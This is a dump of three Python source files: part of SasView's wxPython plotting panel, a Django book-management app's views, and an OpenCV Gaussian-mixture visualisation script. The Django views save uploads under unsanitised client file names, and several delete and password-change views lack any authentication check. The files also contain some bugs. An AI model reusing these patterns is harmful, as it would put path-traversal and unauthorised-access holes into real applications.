self.canvas.draw()\n return\n ax = event.inaxes\n if ax is None or not hasattr(event, 'action'):\n return\n end_drag = event.action != 'drag' and event.xdata is not None\n nop = len(self.plots)\n pos_x, _ = float(event.xdata), float(event.ydata)\n try:\n ly = self.ly\n ly0x = ly[0].get_xdata()\n ly1x = ly[1].get_xdata()\n if ly0x == ly1x:\n if ly[0].get_zorder() > ly[1].get_zorder():\n self.vl_ind = 0\n else:\n self.vl_ind = 1\n vl_ind = self.vl_ind\n x_data = self.plots[self.cursor_id].x\n xmin = x_data.min()\n xmax = x_data.max()\n indx = self._find_nearest(x_data, pos_x)\n # Need to hold LeftButton to drag\n if end_drag:\n if event.button:\n self._check_line_positions(pos_x, nop)\n return\n if indx >= len(x_data):\n indx = len(x_data) - 1\n pos_x = x_data[indx]\n if xmin == ly1x:\n vl_ind = 1\n elif xmax == ly0x:\n vl_ind = 0\n else:\n ly[vl_ind].set_xdata(pos_x)\n ly[vl_ind].set_zorder(nop + 1)\n self._check_line_positions(pos_x, nop)\n ly[vl_ind].set_xdata(pos_x)\n ly[vl_ind].set_alpha(1.0)\n ly[vl_ind].set_zorder(nop + 1)\n self.canvas.draw()\n self.q_ctrl[vl_ind].SetValue(str(pos_x))\n except:\n logger.error(sys.exc_value)\n\n def set_resizing(self, resizing=False):\n \"\"\"\n Set the resizing (True/False)\n \"\"\"\n self.resizing = resizing\n # self.canvas.set_resizing(resizing)\n\n def schedule_full_draw(self, func='append'):\n \"\"\"\n Put self in schedule to full redraw list\n \"\"\"\n # append/del this panel in the schedule list\n self.parent.set_schedule_full_draw(self, func)\n\n def remove_data_by_id(self, id):\n \"\"\"\n Remove data from plot\n \"\"\"\n if id in self.plots.keys():\n data = self.plots[id]\n self.graph.delete(data)\n data_manager = self._manager.parent.get_data_manager()\n data_list, theory_list = data_manager.get_by_id(id_list=[id])\n\n if id in data_list.keys():\n data = data_list[id]\n if id in theory_list.keys():\n data = theory_list[id]\n\n del self.plots[id]\n self.graph.render(self)\n self.subplot.figure.canvas.draw_idle()\n if len(self.graph.plottables) == 0:\n # onRemove: graph is empty must be the panel must be destroyed\n self.parent.delete_panel(self.uid)\n\n def plot_data(self, data):\n \"\"\"\n Data is ready to be displayed\n\n :param event: data event\n \"\"\"\n if data.__class__.__name__ == 'Data2D':\n return\n plot_keys = self.plots.keys()\n if data.id in plot_keys:\n # Recover panel prop.s\n xlo, xhi = self.subplot.get_xlim()\n ylo, yhi = self.subplot.get_ylim()\n old_data = self.plots[data.id]\n if self._is_changed_legend_label:\n data.label = old_data.label\n if old_data.__class__.__name__ == 'Data1D':\n data.custom_color = old_data.custom_color\n data.symbol = old_data.symbol\n data.markersize = old_data.markersize\n data.zorder = len(plot_keys)\n # Replace data\n self.graph.replace(data)\n self.plots[data.id] = data\n ## Set the view scale for all plots\n try:\n self._onEVT_FUNC_PROPERTY()\n except (Exception, exc):\n wx.PostEvent(self.parent,\n StatusEvent(status=\"Plotting Error: %s\" % str(exc), info=\"error\"))\n if self.is_zoomed:\n # Recover the x,y limits\n self.subplot.set_xlim((xlo, xhi))\n self.subplot.set_ylim((ylo, yhi))\n else:\n self.plots[data.id] = data\n self.graph.add(self.plots[data.id])\n data.zorder = len(plot_keys)\n ## Set the view scale for all plots\n try:\n self._onEVT_FUNC_PROPERTY()\n if IS_MAC:\n # MAC: forcing to plot 2D avg\n self.canvas._onDrawIdle()\n except (Exception, exc):\n wx.PostEvent(self.parent, StatusEvent(status=\\\n \"Plotting Error: %s\" % str(exc), info=\"error\"))\n self.toolbar.update()\n self.is_zoomed = False\n\n def draw_plot(self):\n \"\"\"\n Draw plot\n \"\"\"\n self.draw()\n\n def onLeftDown(self, event):\n \"\"\"\n left button down and ready to drag\n Display the position of the mouse on the statusbar\n \"\"\"\n # self.parent.set_plot_unfocus()\n self._get_cusor_lines(event)\n ax = event.inaxes\n PlotPanel.onLeftDown(self, event)\n if ax is not None:\n try:\n pos_x = float(event.xdata) # / size_x\n pos_y = float(event.ydata) # / size_y\n pos_x = \"%8.3g\" % pos_x\n pos_y = \"%8.3g\" % pos_y\n self.position = str(pos_x), str(pos_y)\n wx.PostEvent(self.parent, StatusEvent(status=self.position))\n except:\n self.position = None\n # unfocus all\n self.parent.set_plot_unfocus()\n # post nd event to notify guiframe that this panel is on focus\n wx.PostEvent(self.parent, PanelOnFocusEvent(panel=self))\n\n\n def _ontoggle_hide_error(self, event):\n \"\"\"\n Toggle error display to hide or show\n \"\"\"\n menu = event.GetEventObject()\n event_id = event.GetId()\n self.set_selected_from_menu(menu, event_id)\n # Check zoom\n xlo, xhi = self.subplot.get_xlim()\n ylo, yhi = self.subplot.get_ylim()\n\n selected_plot = self.plots[self.graph.selected_plottable]\n if self.hide_menu.GetText() == \"Hide Error Bar\":\n selected_plot.hide_error = True\n else:\n selected_plot.hide_error = False\n ## increment graph color\n self.graph.render(self)\n self.subplot.figure.canvas.draw_idle()\n if self.is_zoomed:\n # Recover the x,y limits\n self.subplot.set_xlim((xlo, xhi))\n self.subplot.set_ylim((ylo, yhi))\n self.graph.selected_plottable = None\n\n\n def _onRemove(self, event):\n \"\"\"\n Remove a plottable from the graph and render the graph\n\n :param event: Menu event\n\n \"\"\"\n menu = event.GetEventObject()\n event_id = event.GetId()\n self.set_selected_from_menu(menu, event_id)\n ## Check if there is a selected graph to remove\n if self.graph.selected_plottable in self.plots.keys():\n graph_id = self.graph.selected_plottable\n self.remove_data_by_id(graph_id)\n\n def onContextMenu(self, event):\n \"\"\"\n 1D plot context menu\n\n :param event: wx context event\n\n \"\"\"\n self._slicerpop = PanelMenu()\n self._slicerpop.set_plots(self.plots)\n self._slicerpop.set_graph(self.graph)\n ids = iter(self._menu_ids)\n\n # Various plot options\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Save Image', 'Save image as PNG')\n wx.EVT_MENU(self, wx_id, self.onSaveImage)\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Print Image', 'Print image ')\n wx.EVT_MENU(self, wx_id, self.onPrint)\n\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Copy to Clipboard',\n 'Copy to the clipboard')\n wx.EVT_MENU(self, wx_id, self.OnCopyFigureMenu)\n\n self._slicerpop.AppendSeparator()\n\n for plot in self.plots.values():\n # title = plot.title\n name = plot.name\n plot_menu = wx.Menu()\n if self.graph.selected_plottable:\n if not self.graph.selected_plottable in self.plots.keys():\n continue\n if plot != self.plots[self.graph.selected_plottable]:\n continue\n\n wx_id = ids.next()\n plot_menu.Append(wx_id, \"&DataInfo\", name)\n wx.EVT_MENU(self, wx_id, self. _onDataShow)\n wx_id = ids.next()\n plot_menu.Append(wx_id, \"&Save Points as a File\", name)\n wx.EVT_MENU(self, wx_id, self._onSave)\n plot_menu.AppendSeparator()\n\n # add menu of other plugins\n item_list = self.parent.get_current_context_menu(self)\n if (item_list is not None) and (len(item_list)):\n for item, wx_id in zip(item_list, [ids.next() for i in range(len(item_list))]):\n try:\n plot_menu.Append(wx_id, item[0], name)\n wx.EVT_MENU(self, wx_id, item[2])\n except:\n msg = \"ModelPanel1D.onContextMenu: \"\n msg += \"bad menu item %s\" % sys.exc_value\n wx.PostEvent(self.parent, StatusEvent(status=msg))\n plot_menu.AppendSeparator()\n\n if self.parent.ClassName.count('wxDialog') == 0:\n if plot.id != 'fit':\n wx_id = ids.next()\n plot_menu.Append(wx_id, '&Linear Fit', name)\n wx.EVT_MENU(self, wx_id, self.onFitting)\n plot_menu.AppendSeparator()\n\n wx_id = ids.next()\n plot_menu.Append(wx_id, \"Remove\", name)\n wx.EVT_MENU(self, wx_id, self._onRemove)\n if not plot.is_data:\n wx_id = ids.next()\n plot_menu.Append(wx_id, '&Freeze', name)\n wx.EVT_MENU(self, wx_id, self.onFreeze)\n plot_menu.AppendSeparator()\n\n if plot.is_data:\n wx_id = ids.next()\n self.hide_menu = plot_menu.Append(wx_id, \"Hide Error Bar\", name)\n\n if plot.dy is not None and plot.dy != []:\n if plot.hide_error:\n self.hide_menu.SetText('Show Error Bar')\n else:\n self.hide_menu.SetText('Hide Error Bar')\n else:\n self.hide_menu.Enable(False)\n wx.EVT_MENU(self, wx_id, self._ontoggle_hide_error)\n\n plot_menu.AppendSeparator()\n\n wx_id = ids.next()\n plot_menu.Append(wx_id, '&Modify Plot Property', name)\n wx.EVT_MENU(self, wx_id, self.createAppDialog)\n wx_id = ids.next()\n # plot_menu.SetTitle(name)\n self._slicerpop.AppendMenu(wx_id, '&%s' % name, plot_menu)\n # Option to hide\n # TODO: implement functionality to hide a plottable (legend click)\n\n self._slicerpop.AppendSeparator()\n loc_menu = wx.Menu()\n for label in self._loc_labels:\n wx_id = ids.next()\n loc_menu.Append(wx_id, str(label), str(label))\n wx.EVT_MENU(self, wx_id, self.onChangeLegendLoc)\n\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Modify Graph Appearance',\n 'Modify graph appearance')\n wx.EVT_MENU(self, wx_id, self.modifyGraphAppearance)\n self._slicerpop.AppendSeparator()\n\n\n if self.position is not None:\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Add Text')\n wx.EVT_MENU(self, wx_id, self._on_addtext)\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Remove Text')\n wx.EVT_MENU(self, wx_id, self._on_removetext)\n self._slicerpop.AppendSeparator()\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Change Scale')\n wx.EVT_MENU(self, wx_id, self._onProperties)\n self._slicerpop.AppendSeparator()\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Set Graph Range')\n wx.EVT_MENU(self, wx_id, self.onSetRange)\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Reset Graph Range')\n wx.EVT_MENU(self, wx_id, self.onResetGraph)\n\n if self.parent.ClassName.count('wxDialog') == 0:\n self._slicerpop.AppendSeparator()\n wx_id = ids.next()\n self._slicerpop.Append(wx_id, '&Window Title')\n wx.EVT_MENU(self, wx_id, self.onChangeCaption)\n try:\n pos_evt = event.GetPosition()\n pos = self.ScreenToClient(pos_evt)\n except:\n pos_x, pos_y = self.toolbar.GetPositionTuple()\n pos = (pos_x, pos_y + 5)\n self.PopupMenu(self._slicerpop, pos)\n\n def onSetRange(self, event):\n # Display dialog\n # self.subplot.set_xlim((low, high))\n # self.subplot.set_ylim((low, high))\n from sas.sasgui.plottools.RangeDialog import RangeDialog\n d = RangeDialog(self, -1)\n xlim = self.subplot.get_xlim()\n ylim = self.subplot.get_ylim()\n d.SetXRange(xlim)\n d.SetYRange(ylim)\n if d.ShowModal() == wx.ID_OK:\n x_range = d.GetXRange()\n y_range = d.GetYRange()\n if x_range is not None and y_range is not None:\n self.subplot.set_xlim(x_range)\n self.subplot.set_ylim(y_range)\n self.subplot.figure.canvas.draw_idle()\n self.is_zoomed = True\n d.Destroy()\n\n def onFreeze(self, event):\n \"\"\"\n on Freeze data\n \"\"\"\n menu = event.GetEventObject()\n wx_id = event.GetId()\n self.set_selected_from_menu(menu, wx_id)\n plot = self.plots[self.graph.selected_plottable]\n self.parent.onfreeze([plot.id])\n\n def _onSave(self, evt):\n \"\"\"\n Save a data set to a text file\n\n :param evt: Menu event\n\n \"\"\"\n menu = evt.GetEventObject()\n event_id = evt.GetId()\n self.set_selected_from_menu(menu, event_id)\n data = self.plots[self.graph.selected_plottable]\n default_name = data.label\n if default_name.count('.') > 0:\n default_name = default_name.split('.')[0]\n default_name += \"_out\"\n if self.parent is not None:\n self.parent.save_data1d(data, default_name)\n\n def _onDataShow(self, evt):\n \"\"\"\n Show the data set in text\n\n :param evt: Menu event\n\n \"\"\"\n menu = evt.GetEventObject()\n event_id = evt.GetId()\n self.set_selected_from_menu(menu, event_id)\n data = self.plots[self.graph.selected_plottable]\n default_name = data.label\n if default_name.count('.') > 0:\n default_name = default_name.split('.')[0]\n # default_name += \"_out\"\n if self.parent is not None:\n self.parent.show_data1d(data, default_name)\n\n def _on_hide(self, event):\n \"\"\"\n Hides the plot when button is pressed\n \"\"\"\n if self.parent is not None:\n self.parent.hide_panel(self.uid)\n\n def on_close(self, event):\n \"\"\"\n On Close Event\n \"\"\"\n ID = self.uid\n self.parent.delete_panel(ID)\n\n def createAppDialog(self, event):\n \"\"\"\n Create the custom dialog for fit appearance modification\n \"\"\"\n menu = event.GetEventObject()\n event_id = event.GetId()\n self.set_selected_from_menu(menu, event_id)\n self.appearance_selected_plot = \\\n self.plots[self.graph.selected_plottable]\n # find current properties\n curr_color = self.appearance_selected_plot.custom_color\n curr_symbol = self.appearance_selected_plot.symbol\n curr_size = self.appearance_selected_plot.markersize\n curr_label = self.appearance_selected_plot.label\n\n if curr_color is None:\n curr_color = self._color_labels['Blue']\n curr_symbol = 13\n\n self.appD = appearanceDialog(self, 'Modify Plot Property')\n icon = self.parent.GetIcon()\n self.appD.SetIcon(icon)\n self.appD.set_defaults(float(curr_size), int(curr_color),\n str(appearanceDialog.find_key(self.get_symbol_label(),\n int(curr_symbol))), curr_label)\n self.appD.Bind(wx.EVT_CLOSE, self.on_AppDialog_close)\n self.graph.selected_plottable = None\n\n def on_AppDialog_close(self, event):\n \"\"\"\n on_Modify Plot Property_close\n \"\"\"\n if self.appD.okay_clicked == True:\n info = self.appD.get_current_values()\n self.appearance_selected_plot.custom_color = \\\n self._color_labels[info[1].encode('ascii', 'ignore')]\n\n self.appearance_selected_plot.markersize = float(info[0])\n self.appearance_selected_plot.symbol = \\\n self.get_symbol_label()[info[2]]\n self.appearance_selected_plot.label = str(info[3])\n self.appD.Destroy()\n self._check_zoom_plot()\n\n def modifyGraphAppearance(self, event):\n \"\"\"\n On Modify Graph Appearance\n \"\"\"\n self.graphApp = graphAppearance(self, 'Modify Graph Appearance')\n icon = self.parent.GetIcon()\n self.graphApp.SetIcon(icon)\n self.graphApp.setDefaults(self.grid_on, self.legend_on,\n self.xaxis_label, self.yaxis_label,\n self.xaxis_unit, self.yaxis_unit,\n self.xaxis_font, self.yaxis_font,\n find_key(self.get_loc_label(), self.legendLoc),\n self.xcolor, self.ycolor,\n self.is_xtick, self.is_ytick)\n self.graphApp.Bind(wx.EVT_CLOSE, self.on_graphApp_close)\n\n def on_graphApp_close(self, event):\n \"\"\"\n Gets values from graph appearance dialog and sends them off\n to modify the plot\n \"\"\"\n graph_app = self.graphApp\n toggle_grid = graph_app.get_togglegrid()\n legend_loc = graph_app.get_legend_loc()\n toggle_legend = graph_app.get_togglelegend()\n\n self.onGridOnOff(toggle_grid)\n self.ChangeLegendLoc(legend_loc)\n self.onLegend(toggle_legend)\n\n self.xaxis_label = graph_app.get_xlab()\n self.yaxis_label = graph_app.get_ylab()\n self.xaxis_unit = graph_app.get_xunit()\n self.yaxis_unit = graph_app.get_yunit()\n self.xaxis_font = graph_app.get_xfont()\n self.yaxis_font = graph_app.get_yfont()\n self.is_xtick = graph_app.get_xtick_check()\n self.is_ytick = graph_app.get_ytick_check()\n if self.is_xtick:\n self.xaxis_tick = self.xaxis_font\n if self.is_ytick:\n self.yaxis_tick = self.yaxis_font\n\n self.xaxis(self.xaxis_label, self.xaxis_unit,\n graph_app.get_xfont(), graph_app.get_xcolor(),\n self.xaxis_tick)\n self.yaxis(self.yaxis_label, self.yaxis_unit,\n graph_app.get_yfont(), graph_app.get_ycolor(),\n self.yaxis_tick)\n\n graph_app.Destroy()\n","sub_path":"jhub37_mcstas_baseline/sasview-5.0.3/src/sas/sasgui/guiframe/local_perspectives/plotting/Plotter1D.py","file_name":"Plotter1D.py","file_ext":"py","file_size_in_byte":31523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"358339216","text":"from django.shortcuts import render, HttpResponse, redirect\r\n\r\n# Create your views here.\r\n\r\nfrom app01.models import Book, Publish, Author, AuthorDetail\r\nfrom django.core.paginator import Paginator,EmptyPage\r\nfrom django.contrib import auth\r\n\r\nfrom django.core.exceptions import NON_FIELD_ERRORS, ValidationError\r\n\r\nfrom django.contrib.auth.models import User\r\n\r\nfrom app01.models import UserInfo\r\n\r\nfrom django import forms\r\n\r\nimport json\r\n\r\n##################### 图书管理系统 视图函数 ##################\r\n\r\n\r\ndef book_view(request):\r\n\r\n if request.method == \"GET\":\r\n\r\n\r\n name = request.user.username\r\n\r\n publish_list = Publish.objects.all()\r\n author_list = Author.objects.all()\r\n\r\n # 如果页数十分多时,换另外一种显示方式\r\n book_list = Book.objects.all()\r\n paginator = Paginator(book_list,20)\r\n current_page_num = request.GET.get(\"page\", 1)\r\n currentPage = int(current_page_num)\r\n if paginator.num_pages>11:\r\n\r\n if currentPage-5<1:\r\n pageRange=range(1,11)\r\n elif currentPage + 5 > paginator.num_pages:\r\n pageRange = range(currentPage - 5, paginator.num_pages + 1)\r\n\r\n else:\r\n pageRange = range(currentPage - 5, currentPage + 5)\r\n\r\n else:\r\n pageRange = paginator.page_range\r\n try:\r\n current_page_num = request.GET.get(\"page\", 1)\r\n current_page = paginator.page(current_page_num)\r\n\r\n\r\n except EmptyPage as e:\r\n current_page_num = 1\r\n current_page = paginator.page(1)\r\n\r\n val=(int(current_page_num)-1)*20\r\n return render(request, \"book_view.html\",{\"publish_list\": publish_list, \"author_list\": author_list,\"val\":val,\"current_page\":current_page,\"paginator\":paginator,\"current_page_num\":int(current_page_num),\"pageRange\":pageRange,\"name\":name})\r\n else:\r\n search = request.POST.get(\"search\")\r\n print('搜索内容:', search)\r\n book_list = Book.objects.filter(title__icontains=search)\r\n return render(request, \"book_view.html\", {\"book_list\": book_list})\r\n\r\n\r\ndef book_add(request):\r\n if request.method == \"GET\":\r\n\r\n name = request.user.username\r\n\r\n publish_list = Publish.objects.all()\r\n author_list = Author.objects.all()\r\n return render(request, \"book_add.html\", {\"publish_list\": publish_list, \"author_list\": author_list,\"name\":name})\r\n else:\r\n title = request.POST.get(\"title\")\r\n price = request.POST.get(\"price\")\r\n pub_date = request.POST.get(\"pub_date\")\r\n publish_id = request.POST.get(\"publish_id\")\r\n authors = request.POST.getlist(\"authors\")\r\n print(request.POST)\r\n print(authors)\r\n\r\n book = Book.objects.create(title=title, price=price, pub_date=pub_date, publish_id=publish_id)\r\n book.authors.add(*authors)\r\n\r\n return redirect(\"/books/\")\r\n\r\n\r\ndef book_edit(request, edit_book_id):\r\n edit_book = Book.objects.filter(pk=edit_book_id).first()\r\n if request.method == \"GET\":\r\n\r\n name = request.user.username\r\n\r\n publish_list = Publish.objects.all()\r\n author_list = Author.objects.all()\r\n return render(request, \"book_edit.html\",\r\n {\"edit_book\": edit_book, \"publish_list\": publish_list, \"author_list\": author_list,\"name\":name})\r\n\r\n else:\r\n title = request.POST.get(\"title\")\r\n price = request.POST.get(\"price\")\r\n pub_date = request.POST.get(\"pub_date\")\r\n publish_id = request.POST.get(\"publish_id\")\r\n authors = request.POST.getlist(\"authors\")\r\n print(request.POST)\r\n print(authors)\r\n Book.objects.filter(pk=edit_book_id).update(title=title, price=price, pub_date=pub_date, publish_id=publish_id)\r\n edit_book.authors.set(authors)\r\n\r\n return redirect(\"/books/\")\r\n\r\n\r\ndef book_del(request, del_book_id):\r\n response = {\"state\": True}\r\n try:\r\n Book.objects.filter(pk=del_book_id).delete()\r\n except Exception as e:\r\n json.dumps(response)\r\n\r\n return HttpResponse(json.dumps(response))\r\n\r\ndef publish(request):\r\n if not request.user.is_authenticated:\r\n return redirect(\"/login/\")\r\n\r\n name = request.user.username\r\n publish= Publish.objects.all()\r\n\r\n return render(request, \"publish.html\", {\"publish_list\": publish,\"name\":name})\r\n\r\n\r\ndef publish_add(request):\r\n if request.method == \"GET\":\r\n if not request.user.is_authenticated:\r\n return redirect(\"/login/\")\r\n\r\n name = request.user.username\r\n return render(request, \"publish_add.html\",{\"name\":name})\r\n else:\r\n publish_name = request.POST.get(\"publish_name\")\r\n publish_email = request.POST.get(\"publish_email\")\r\n Publish.objects.create(name=publish_name,email=publish_email)\r\n return redirect(\"/publish/\")\r\n\r\ndef publish_edit(request,publish_id):\r\n edit_publish = Publish.objects.filter(pk=publish_id).first()\r\n if request.method == \"GET\":\r\n if not request.user.is_authenticated:\r\n return redirect(\"/login/\")\r\n\r\n name = request.user.username\r\n return render(request, \"publish_edit.html\",\r\n {\"edit_publish\": edit_publish,\"name\":name})\r\n\r\n else:\r\n name = request.POST.get(\"name\")\r\n email = request.POST.get(\"email\")\r\n\r\n\r\n Publish.objects.filter(pk=publish_id).update(name=name, email=email)\r\n\r\n\r\n return redirect(\"/publish/\")\r\n\r\n\r\ndef publish_del(request,publish_id):\r\n\r\n Publish.objects.filter(pk=publish_id).delete()\r\n\r\n return redirect(\"/publish/\")\r\n\r\n\r\ndef zhuye(request):\r\n print(request.user.is_authenticated)\r\n\r\n\r\n name = request.user.username\r\n\r\n\r\n return render(request, \"zhuye.html\",locals())\r\n\r\n\r\ndef login(request):\r\n\r\n if request.method==\"POST\":\r\n\r\n user = request.POST.get('username')\r\n pwd = request.POST.get('pwd')\r\n print(user, pwd)\r\n # 数据库查询该用户是否存在\r\n # authenticate去auth_user查询记录,查询成功返回用户对象,查询失败返回None\r\n user_obj = auth.authenticate(username=user, password=pwd)\r\n if user_obj:\r\n # 保存用户状态信息\r\n auth.login(request, user_obj) # request.session[\"user_id\"]=user_obj.pk\r\n # 重定向index\r\n return HttpResponse(1)\r\n\r\n else:\r\n return HttpResponse(0)\r\n else:\r\n\r\n\r\n return render(request,\"denglu.html\")\r\n\r\nimport os\r\nfrom BMS import settings\r\n\r\ndef file_put(request):\r\n if request.method == \"GET\":\r\n name = request.user.username\r\n\r\n return render(request,\"file_put.html\",locals())\r\n\r\n else:\r\n print(request.POST)\r\n print(request.FILES)\r\n file_obj=request.FILES.get(\"file_obj\")\r\n # 文件对象有一个name属性,获取文件名称字符串\r\n print(file_obj.name)\r\n path=file_obj.name\r\n\r\n path=os.path.join(settings.BASE_DIR,\"media\",\"img\",path)\r\n with open(path,\"wb\") as f:\r\n for line in file_obj:\r\n f.write(line)\r\n\r\n\r\n return HttpResponse(\"OK\")\r\n\r\n\r\nclass UserForm(forms.Form):\r\n\r\n user=forms.CharField(min_length=5,\r\n error_messages={\"required\":\"该字段不能为空\",\"min_length\":\"用户名不能小于5位\"},\r\n )\r\n dpwd = forms.CharField(error_messages={\"required\":\"该字段不能为空\",\"min_length\":\"密码长度不够5位\"},\r\n min_length=5)\r\n\r\n pwd=forms.CharField(error_messages={\"required\":\"该字段不能为空\",\"min_length\":\"密码长度不够5位\"},\r\n min_length=5)\r\n\r\n email=forms.EmailField(error_messages={\"required\":\"该字段不能为空\",\"invalid\":\"邮箱格式错误\"})\r\n\r\n def clean_user(self):\r\n val=self.cleaned_data.get(\"user\")\r\n try:\r\n ret=User.objects.get(username=str(val))\r\n except Exception as e:\r\n ret=None\r\n if not ret:\r\n return val\r\n else:\r\n raise ValidationError(\"用户名已存在!\")\r\n\r\n def clean_pwd(self):\r\n val=self.cleaned_data.get(\"pwd\")\r\n if val.isdigit():\r\n raise ValidationError(\"密码不能是纯数字!\")\r\n else:\r\n return val\r\n\r\n def clean_email(self):\r\n val=self.cleaned_data.get(\"email\")\r\n\r\n if str(val).endswith(\"@163.com\"):\r\n return val\r\n else:\r\n raise ValidationError(\"必须是163邮箱\")\r\n\r\n\r\n\r\n def clean(self):\r\n\r\n pwd=self.cleaned_data.get(\"pwd\")\r\n r_pwd=self.cleaned_data.get(\"dpwd\")\r\n\r\n if pwd and r_pwd:\r\n if pwd==r_pwd:\r\n return self.cleaned_data\r\n else:\r\n raise ValidationError(\"两次密码不一致!\")\r\n else:\r\n return self.cleaned_data\r\n\r\ndef reg(request):\r\n if request.method==\"POST\":\r\n print(request.POST)\r\n\r\n # 数据校验\r\n form=UserForm(request.POST)\r\n if form.is_valid():\r\n print(form.cleaned_data)\r\n User.objects.create_user(username=form.cleaned_data.get(\"user\"), password=form.cleaned_data.get(\"pwd\"),email=form.cleaned_data.get(\"email\"))\r\n return HttpResponse(1)\r\n else:\r\n # print(form.cleaned_data)\r\n # print(form.errors) # {\"user\":[\"\",]}\r\n # print(form.errors.get(\"user\")[0]) # {\"user\":[\"\",]}\r\n\r\n errors=json.dumps(form.errors)\r\n if form.errors.get(\"__all__\"):\r\n errors=form.errors.get(\"__all__\")[0]\r\n\r\n\r\n return HttpResponse(errors)\r\n\r\n else:\r\n form=UserForm()\r\n return HttpResponse(form)\r\n\r\n# def reg(request):\r\n#\r\n#\r\n# user=request.POST.get(\"user\")\r\n# pwd=request.POST.get(\"pwd\")\r\n#\r\n# User.objects.create_user(username=user,password=pwd)\r\n# return HttpResponse(1)\r\n\r\n\r\n\r\n\r\n\r\ndef logout(request):\r\n\r\n auth.logout(request)\r\n\r\n return redirect(\"/login/\")\r\n\r\ndef set_password(request):\r\n\r\n\r\n if request.method == \"GET\":\r\n name = request.user.username\r\n return render(request,\"set_pwd.html\",locals())\r\n else:\r\n user = User.objects.get(username=request.user.username)\r\n pwd = request.POST.get('new_pwd')\r\n user.set_password(raw_password=pwd)\r\n user.save()\r\n return redirect(\"/login/\")\r\n\r\ndef ajax_add(request):\r\n\r\n title = request.POST.get(\"title\")\r\n price = request.POST.get(\"price\")\r\n pub_date = request.POST.get(\"pub_date\")\r\n publish_id = request.POST.get(\"publish_id\")\r\n authors = request.POST.getlist(\"authors[]\")\r\n print(request.POST)\r\n print(title)\r\n print(authors)\r\n\r\n book = Book.objects.create(title=title, price=price, pub_date=pub_date, publish_id=publish_id)\r\n book.authors.add(*authors)\r\n\r\n return HttpResponse(1)","sub_path":"app01/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"151741466","text":"import random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nimport json\nimport sys\nfrom collections import Counter\nimport cv2\nfrom random import randint\nimport scipy.io\nfrom matplotlib.patches import Ellipse\nfrom sklearn.mixture import *\nfrom scipy.stats import multivariate_normal\nimport cv2\nimport numpy as np\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport scipy.stats as stat\n\npredictionFileName=sys.argv[1]\npath='/'.join(predictionFileName.split(\"/\")[:-1])\n\ncolors = [[255, 0, 0], [255, 85, 0], [255, 170, 0], [255, 255, 0], [170, 255, 0], [85, 255, 0], [0, 255, 0],\n [0, 255, 85], [0, 255, 170], [0, 255, 255], [0, 170, 255], [0, 85, 255], [0, 0, 255], [85, 0, 255],\n [170, 0, 255], [255, 0, 255], [255, 0, 170], [255, 0, 85]]\n\nidFrame = 101\n\nimage = mpimg.imread(path+\"/ssl_images/ssl_image_\"+str(idFrame)+\".jpg\")\ndata = image[:,:,0]\nnb_fig = 2\ncol = [\"blue\", \"red\", \"green\", \"yellow\"]\ndef traite_data(data):\n res = []\n for y, l in enumerate(data):\n for x, i in enumerate(l):\n i /= 20\n for _ in range(i):\n res.append([x,y])\n return np.array(res)\nres = traite_data(data)\nmodel = GaussianMixture(n_components=nb_fig,covariance_type=\"spherical\")\nmodel.fit(res)\nprint(model.bic(res))\nfrom matplotlib.patches import Ellipse\nplt.imshow(image)\nax = plt.gca()\nfor i in range(nb_fig):\n ell = Ellipse(model.means_[i],model.covariances_[i]/5, model.covariances_[i]/5, fill=False, color=col[i])\n ax.add_patch(ell)\n\n\nidx=1\ncap = cv2.VideoCapture(path+\"/video.avi\")\ncapssl = cv2.VideoCapture(path+\"/ssl.avi\")\nnumberFrame=int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\nframeShape=(int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)),int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)))\nframesDic=[{'det':[],'idx':[],'speaking':[]} for n in range(numberFrame)]\n\n\npreds= open(predictionFileName)\nlines =preds.readlines()\n\n\nfor idx, line in enumerate(lines):\n elements = line.split(' ')\n idxFrame = int(elements[0]) - 1\n framesDic[idxFrame]['det'].append(map(lambda x: int(float(x)), elements[3:]))\n framesDic[idxFrame]['idx'].append(int(elements[1]))\n framesDic[idxFrame]['speaking'].append(int(elements[2]))\n\nidxFrame = 0\nwhile True:\n ret2, frameSSL = capssl.read()\n if (not ret2):\n end = True\n break\n\n ssl = cv2.resize(frameSSL, (frameShape[1], frameShape[0]), interpolation=cv2.INTER_CUBIC)\n framesDic[idxFrame]['ssl'] = ssl\n idxFrame += 1\n\nidxFrame = 0\nk=0\n# We display all the element of the dict\nwhile True:\n ret, frame = cap.read()\n if (not ret) or 'ssl' not in framesDic[idxFrame]:\n end = True\n break\n\n # we convert the ssl to color heatmap\n sslDisplay = cv2.applyColorMap(framesDic[idxFrame]['ssl'], cv2.COLORMAP_JET)\n matdisp = cv2.addWeighted(frame, 0.7, sslDisplay, 0.3, 0)\n\n # we display the poses\n\n for nbDet, detm in enumerate(framesDic[idxFrame]['det']):\n det = list(detm)\n for pt in range(0, 35, 2):\n # we display in bigger if the person is speaking\n if framesDic[idxFrame]['speaking'][nbDet] == 1: # The person is speaking\n size = 5\n else:\n size = 2\n yi = det[pt]\n xi = det[pt + 1]\n if xi > 0 and yi > 0:\n cv2.circle(matdisp, (yi, xi), size, colors[framesDic[idxFrame]['idx'][nbDet]], size)\n\n cv2.imshow('Predictions', matdisp)\n cv2.waitKey(10)\n idxFrame += 1\n\n while idxFrame == idFrame:\n k += 1\n plt.show()\n\n\n\n","sub_path":"src/visualizeErr.py","file_name":"visualizeErr.py","file_ext":"py","file_size_in_byte":3536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
